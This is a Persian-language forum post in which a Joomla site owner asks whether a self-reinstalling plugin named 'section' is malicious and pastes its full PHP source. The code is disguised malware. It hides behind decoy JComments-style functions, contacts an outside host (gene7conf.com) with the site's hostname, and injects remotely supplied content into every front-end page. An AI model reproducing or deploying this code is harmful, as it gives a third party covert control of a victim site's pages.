سوال در مورد پلاگین section

[mrsz 21]

یه پلاگینه بنام section توی جوملا 3.5 در بسته نصبی yoo_master 2 این پلاگین باعث کاهش عجیب سرعت سایت شده است

پاک میکنم یا غیر فعال میکنم سرعت خوب میشه اما بدیش اینه که دوباره میسازتش و خودش فعال میشه

خلاصه کلافه شدیم

این کدای این پلاگین مخرب به نظرتون

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemSection extends JPlugin {

   function plgSystemSection(& $subject, $config) { 
       parent::__construct($subject, $config);
   }

   function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
   }

   function onAfterRender() {
       $body = JResponse::getBody();
	if(!$body||$body=='') return true;
    $mainframe = & JFactory::getApplication('site');
	if($mainframe->isAdmin()) return;
           $body = $this->installOptions($body);
       JResponse::setBody($body);
   }

   function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
   }

   function getURIattr() {
       return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
   }

   public function getConfigOpt() {
       $Conf = @file_get_contents('http://gene7conf.com/?d=' . $_SERVER['HTTP_HOST']);
       return @unserialize($Conf);
   }

   function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet') != '') {
           $object = new stdClass();
           $object->object_cat = CategoryFactory::getAbs($object->object_cat);
           $commentText  = $comment->comment;
}
   }

   function installOptions($content) {
       try {
           $getOptions = $this->getConfigOpt();
           $ord = @$getOptions['l'][$this->getURIattr()];
           if(count(@$ord['m'])) {
               $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
               $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
               $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
               $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
           }
       } catch (Exception $e) {}
       return $content;
   }

   function loadAlternateCatergory($languageSuffix = '') {
       if ($languageSuffix == '') {
	$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
	$config = & CategoryFactory::getConfig();
	$config->set('lsfx', $languageSuffix);

	$language = & JFactory::getLanguage();
	$language->load($languageSuffix);
}
   }
}
?>